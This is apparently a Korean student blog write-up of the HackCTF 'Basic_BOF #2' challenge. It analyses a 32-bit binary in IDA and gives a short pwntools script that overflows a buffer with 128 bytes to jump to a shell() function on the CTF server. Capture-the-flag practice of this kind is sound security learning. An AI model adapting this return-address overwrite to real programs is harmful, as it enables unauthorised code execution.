혜랑's STORY

[HackCTF] Basic_BOF #2 - pwnable 본문

2021 SISS 21기 활동/여름방학 CTF[연합]

[HackCTF] Basic_BOF #2 - pwnable

hyerang0125 2021. 8. 10. 22:02

오늘 해결할 문제는 이 사이트의 Basic_BOF #2 문제이다. 이전에 Basic_BOF #1을 해결한 적이 있는데, 이 문제의 연장 선이라 생각한다.

 

[HackCTF] Basic_BOF #1

# IDA를 사용하여 bof_basic 살펴보기 s의 크기는 0x34(52) byte 라는 것을 알 수 있다. fgets() 함수의 길이 제한 없이 입력 받는다는 취약점을 이용하여 v5의 값을 "-559038737"로 바꿔주면 shell이 실행되는..

a1ways-hyerang.tistory.com

 

다운로드를 눌러 파일을 다운받고, chmod를 통해 파일에 실행 권한을 부여해 주었다.

chmod +x bof_basic2

AAAA를 입력하니 다음과 같은 출력 이후에 바로 프로그램이 종료하였다.

checksec을 통해 파일을 살펴보니

32bit 바이너리 파일이고, NX가 걸려 있었다.

IDA로 살펴본 결과

main 함수

함수 목록과 main 함수를 살펴보니 다음과 같은 함수가 추가적으로 존재하였다.

sup 함수
shell 함수

최종 목표로는 shell() 함수를 실행시키는 것이라 생각하였다.

또한 이때 fgets()를 통해 overflow가 불가능하기 때문에 v5에서 sup() 함수를 실행시키고 이때 overflow를 일으켜 shell() 함수로 이동하여야 한다고 생각하였다.

s의 크기는 IDA에서 알 수 있듯이 0x8c - 0xc 이므로 이 뒤에 shell() 함수의 주소를 전달하면 된다.

from pwn import *

r = remote('ctf.j0n9hyun.xyz', '3001')
e = ELF('./bof_basic2')

payload = ''
payload += 'A' * 128
payload += p32(e.symbols['shell'])

r.sendline(payload)

r.interactive()

성공이다!